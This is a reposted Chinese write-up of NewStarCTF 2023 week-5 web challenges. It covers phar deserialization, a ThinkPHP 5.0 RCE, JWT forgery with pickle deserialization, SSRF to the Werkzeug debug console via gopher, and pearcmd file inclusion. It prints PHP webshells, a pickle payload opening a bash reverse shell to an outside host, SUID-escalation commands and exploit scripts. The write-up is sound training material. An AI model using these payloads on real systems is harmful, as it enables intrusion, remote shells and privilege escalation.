0


NewStarCTF 2023 week5--web

Unserialize Again

f12告诉了我们cookie, 查看一下,可以发现 pairing.php

  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. class story{
  5. private $user='admin';
  6. public $pass;
  7. public $eating;
  8. public $God='false';
  9. public function __wakeup(){
  10. $this->user='human';
  11. if(1==1){
  12. die();
  13. }
  14. if(1!=1){
  15. echo $fffflag;
  16. }
  17. }
  18. public function __construct(){
  19. $this->user='AshenOne';
  20. $this->eating='fire';
  21. die();
  22. }
  23. public function __tostring(){
  24. return $this->user.$this->pass;
  25. }
  26. public function __invoke(){
  27. if($this->user=='admin'&&$this->pass=='admin'){
  28. echo $nothing;
  29. }
  30. }
  31. public function __destruct(){
  32. if($this->God=='true'&&$this->user=='admin'){
  33. system($this->eating);
  34. }
  35. else{
  36. die('Get Out!');
  37. }
  38. }
  39. }
  40. if(isset($_GET['pear'])&&isset($_GET['apple'])){
  41. // $Eden=new story();
  42. $pear=$_GET['pear'];
  43. $Adam=$_GET['apple'];
  44. $file=file_get_contents('php://input');
  45. file_put_contents($pear,urldecode($file));
  46. file_exists($Adam);
  47. }
  48. else{
  49. echo '多吃雪梨';
  50. } 多吃雪梨

法一:(非预期)

不管前面的反序列化,直接利用 php://input ,猜测路径为var/www/html
GET: ?pear=/var/www/html/1.php&apple=1
POST: <?php eval($_POST['cmd']);?> urlencode一下
可以发现可以访问1.php ,

但是 cmd=phpinfo(); 却没有反应,啥也没有,不知道为啥,看别人的博客应该是可以的

尝试尝试传一个 1.txt, 里面的内容也可以显示出来啊

不晓得为啥1.php就是无法执行命令, 蚁剑也连不上,可能哪里出问题了 哎,太菜了

法二:

phar反序列化, file_exists()参数可控, 配合phar://伪协议 进行反序列化

需要利用的

生成phar文件:

  1. <?php
  2. class story{
  3. public $God='true';
  4. public $eating='ls /';
  5. }
  6. $phar=new Phar('1.phar');
  7. $phar->startBuffering();
  8. $phar->setStub('<?php __HALT_COMPILER(); ?>');
  9. $a=new story();
  10. $phar->setMetadata($a);
  11. $phar->addFromString('1.txt','test');
  12. $phar->stopBuffering();

需要绕过

  1. __wakeup() 在记事本中打开生成的phar文件,修改一下相关的数字,改大一点

因为文件的内容改了,所以签名也需要换一个
相关的脚本

  1. from hashlib import sha256
  2. with open("1.phar", 'rb') as file:
  3. f = file.read()
  4. s = f[:-40]
  5. h = f[-8:]
  6. newf = s + sha256(s).digest() + h
  7. with open('newtest.phar', 'wb') as file:
  8. file.write(newf)

利用python直接传

  1. import urllib.parse
  2. import requests
  3. url='http://ba0133bd-772b-45c9-bcb2-3dbf95a23a5d.node5.buuoj.cn:81/pairing.php'
  4. params={
  5. 'pear':'1.phar','apple':'phar://1.phar'
  6. }
  7. with open('newtest.phar','rb') as f:
  8. f=f.read()
  9. data=urllib.parse.quote(f)
  10. # print(data)
  11. res=requests.post(url=url,data=data,params=params)
  12. # print(res.text)


没有成功,
想着直接将urlencode 后的数据直接放在浏览器POST里面传参,但也没成功,
bp抓包传, 也没成功, 真有点不理解了,已经懵了
流程应该是这么个流程, 也不晓得中间哪个过程搞错了还是咋的, 一直弄不了

先放这里吧, 哎!

Final

thinkphp的版本漏洞,先搜一下5.0的漏洞

网上搜到的一个, 但是用不了,可能具体的版本不一样,尝试使它报错,得到具体的版本情况

随便仿照写一个 /index.php?s=1
可以发现具体的版本,再搜索一下
https://www.cnblogs.com/--kisaragi--/p/15315131.html

要利用的漏洞点

可以看到执行了 phpinfo 函数

但是这里禁用了system函数,

离谱了,之前都还行,现在环境又不行了 , 一样的参数, 我真服了, 重启也不行

后面应该就是写马了 ,因为被禁用了system函数, 利用exec函数进行写马, 然后蚁剑连接
_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo '<?php eval($_POST['cmd']);?>' > /var/www/public/1.php

不过最后还需要suid提权, 使用这个命令寻找相关具有suid权限的命令

  1. find / -user root -perm -4000 -print 2>/dev/nul

附上别人的几张张图, 可以用cp命令
**

  1. /dev/stdout

**:标准输出
直接将具有flag内容的文件复制到终端输出

流程应该是这么个流程, 环境可能有点问题, 没有复现出来

Ye's Pickle

app.py

  1. # -*- coding: utf-8 -*-
  2. import base64
  3. import string
  4. import random
  5. from flask import *
  6. import jwcrypto.jwk as jwk
  7. import pickle
  8. from python_jwt import *
  9. app = Flask(__name__)
  10. def generate_random_string(length=16):
  11. characters = string.ascii_letters + string.digits # 包含字母和数字
  12. random_string = ''.join(random.choice(characters) for _ in range(length))
  13. return random_string
  14. app.config['SECRET_KEY'] = generate_random_string(16)
  15. key = jwk.JWK.generate(kty='RSA', size=2048)
  16. @app.route("/")
  17. def index():
  18. payload=request.args.get("token")
  19. if payload:
  20. token=verify_jwt(payload, key, ['PS256'])
  21. session["role"]=token[1]['role']
  22. return render_template('index.html')
  23. else:
  24. session["role"]="guest"
  25. user={"username":"boogipop","role":"guest"}
  26. jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
  27. return render_template('index.html',token=jwt)
  28. @app.route("/pickle")
  29. def unser():
  30. if session["role"]=="admin":
  31. pickle.loads(base64.b64decode(request.args.get("pickle")))
  32. return render_template("index.html")
  33. else:
  34. return render_template("index.html")
  35. if __name__ == "__main__":
  36. app.run(host="0.0.0.0", port=5000, debug=True)

需要伪造jwt
使得 session['role']=='admin'
这个伪造的有点懵, 有点没怎么理解

  1. import base64
  2. from datetime import timedelta
  3. from json import loads, dumps
  4. from jwcrypto.common import base64url_decode, base64url_encode
  5. def topic(topic):
  6. """ Use mix of JSON and compact format to insert forged claims including long expiration """
  7. [header, payload, signature] = topic.split('.')
  8. parsed_payload = loads(base64url_decode(payload))
  9. parsed_payload['role'] = 'admin'
  10. fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
  11. return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
  12. originaltoken ='eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MjA1OTk4OTAsImlhdCI6MTcyMDU5NjI5MCwianRpIjoiOGNmaV9BRWRsY3ViM1hsajJ5M0MwdyIsIm5iZiI6MTcyMDU5NjI5MCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.Jkr3-2vXnQIpAtpuxHbvgcK0z2vFa-LOanqQLOtGutNH_5aeORAw6yryHUvvFFckzaTAoIakk0s-90RtnSJdYozK0LgJr64drolvvuqKtpjuaaLTT4yIXR63VcjMuGdCl3jLioUpnVOgq_v_JIyZ4OA9uRaUnGzCiX8Q-CJKPu9AAMNFFlBCsbTVS2iEqOj2SGap4jlfSSJVQpd4syJREQCOE2RfYFwLRZ9S6IzkUH_wJbRnxrKi7uCGUimIp4oC2qmnqp8CvhoLQVKHtDL6OmSRetIqI_YVh7z8WNjMshZvJzjMNB4ZyMrpW5NNJ7IHNqzaE_2InvtzUJGxFuSAjA'
  13. topic = topic(originaltoken)
  14. print(topic)

?token=得到的结果
然后再进入 /pickle路由 进行pickle反序列化

  1. import base64
  2. opcode=b'''cos
  3. system
  4. (S"bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'"
  5. tR.
  6. '''
  7. print(base64.b64encode(opcode))

看了一下session已经是admin了啊,
但用自己的服务器总是没能反弹shell成功, 一直连不上

又没能复现成功,不过多了解了一下jwt的伪造 和 pickle反序列化也还行

pickle反序列化初探 - 先知社区

pppython?

  1. <?php
  2. if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
  3. header("Content-type: text/plain");
  4. system("ls / -la");
  5. exit();
  6. }
  7. try {
  8. $ch = curl_init();
  9. curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
  10. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
  11. curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
  12. $output = curl_exec($ch);
  13. echo $output;
  14. curl_close($ch);
  15. }catch (Error $x){
  16. highlight_file(__FILE__);
  17. highlight_string($x->getMessage());
  18. }
  19. ?>

根据要求传参 :?hint[0]=your?&hint[1]=mine!&hint[2]=hint!!
可以执行命令 ls / -la 列出目录及权限

注意lolita需要传参一个数组

前面所列出来的目录里面有个 app.py文件 尝试读取
ssrf漏洞 , 利用file://协议读取文件

  1. from flask import Flask, request, session, render_template, render_template_string
  2. import os, base64
  3. #from NeepuF1Le import neepu_files
  4. app = Flask(__name__)
  5. app.config['SECRET_KEY'] = '******'
  6. @app.route('/')
  7. def welcome():
  8. if session["islogin"] == True:
  9. return "flag{***********************}"
  10. app.run('0.0.0.0', 1314, debug=True)1

想着伪造session得到flag, 但好像伪造不了
又可以看到开启了debug, 可以计算pin值 ,进入到 /console 里面

依旧是利用file://协议 去读取所需要的文件

首先用户名 : root (前面执行的 ls 那块的命令可以猜测出)
modname 一般默认为 flask.app
appname 一般默认为 flask
app.py的绝对路径一般是通过报错得到,但这里好像无法得到
通过进入到debug里面得到 : /usr/local/lib/python3.10/dist-packages/flask/app.py

?url=file:///sys/class/net/eth0/address&lolita[]=
网卡的mac地址:(转十进制)
709723444170211

machine-id是由两个值拼接的:
?url=file:///proc/sys/kernel/random/boot_id&lolita[]=
aac85635-508f-4b5b-be84-c1a02d61f9f7

?url=file:///proc/self/cgroup&lolita[]=
cri-containerd-6c00d510dbe08bb97a736ca2f55e2d44366e57395f8ac2c1f212517883888c02.scope

题目应该出了点问题吧, 理论上不是应该是有个docker啥的啊
比如别人读取的文件, 应该是要有个docker然后再是后面的数字啊, 有点懵,感觉应该是环境变了

然后就是根据得到的信息计算pin值
直接拿别人的,改一下里面相应的值就行

  1. import hashlib
  2. from itertools import chain
  3. import time
  4. probably_public_bits = [
  5. 'root'
  6. 'flask.app',
  7. 'Flask',
  8. '/usr/local/lib/python3.10/site-packages/flask/app.py'
  9. ]
  10. private_bits = [
  11. '709723444170211',
  12. 'aac85635-508f-4b5b-be84-c1a02d61f9f7cri-containerd-6c00d510dbe08bb97a736ca2f55e2d44366e57395f8ac2c1f212517883888c02.scope'
  13. '8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-de0acd954e28d766468f4c4108e32529318e5e4048153309680469d179d6ceac.scope'
  14. ]
  15. h = hashlib.sha1()
  16. for bit in chain(probably_public_bits, private_bits):
  17. if not bit:
  18. continue
  19. if isinstance(bit, str):
  20. bit = bit.encode('utf-8')
  21. h.update(bit)
  22. h.update(b'cookiesalt')
  23. cookie_name = '__wzd' + h.hexdigest()[:20]
  24. num = None
  25. if num is None:
  26. h.update(b'pinsalt')
  27. num = ('%09d' % int(h.hexdigest(), 16))[:9]
  28. rv = None
  29. if rv is None:
  30. for group_size in 5, 4, 3:
  31. if len(num) % group_size == 0:
  32. rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
  33. for x in range(0, len(num), group_size))
  34. break
  35. else:
  36. rv = num
  37. print(rv)
  38. def hash_pin(pin: str) -> str:
  39. return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
  40. print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")

后面的一些步骤就有点看不懂了,唉, 又没能复现出来
看这篇文章
NewStarCTF 2023 公开赛道 Web_[newstarctf 2023 公开赛道]genshin-CSDN博客

frm的值为0, 因为没有报错

访问一下console,获取s值

?url=http://localhost:1314/console&lolita[]=

  1. s=Khhv9IfiCVDYPR2GvauW

得用gopher协议来打,实现rce,脚本:

  1. import urllib.parse
  2. import urllib.request
  3. cmd = 'whoami'
  4. s = "KsDz7oqmCrFx5nOp8vKz"
  5. host = "127.0.0.1:1314"
  6. # cookie = "__wzddde03e10368497982792=1698651626|c9f35062072d"
  7. pin = "113-575-700"
  8. poc = f"""GET http://127.0.0.1:1314/console?&__debugger__=yes&pin={pin}&cmd={cmd}&frm=0&s={s} HTTP/1.1
  9. Host: {host}
  10. Connection: close
  11. """
  12. new_poc = urllib.parse.quote(poc).replace('%0A', '%0D%0A')
  13. res = f'gopher://{host}/_' + new_poc
  14. print(urllib.parse.quote(res))

4-复盘

  1. <?php
  2. if (isset($_GET['page'])) {
  3. $page ='pages/' .$_GET['page'].'.php';
  4. }else{
  5. $page = 'pages/dashboard.php';
  6. }
  7. if (file_exists($page)) {
  8. require_once $page;
  9. }else{
  10. require_once 'pages/error_page.php';
  11. }
  12. ?>

可以文件包含, 利用 pearcmd.php本地文件包含 写shell
payload:(套路格式)

?+config-create+/&page=../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+1.php
蚁剑连接之后会发现无法读取flag, 权限不够, 需要suid提权
使用gzip命令提权
gzip -f /flag -t
可以得到flag

NewStarCTF 2023 公开赛道 Web_[newstarctf 2023 公开赛道]genshin-CSDN博客

https://www.cnblogs.com/EddieMurphy-blogs/p/17813704.html
NewStarCtf 2023 week3&week4&week5 web部分题目复现_newstarctf include 馃崘-CSDN博客

[NewStarCTF 2023] web题解_ctf web题 发现多个公司员工email-CSDN博客

标签: ctf web php

本文转载自: https://blog.csdn.net/2302_80472909/article/details/140250653
版权归原作者 pwfortune 所有, 如有侵权,请联系我们删除。

“NewStarCTF 2023 week5--web”的评论:

还没有评论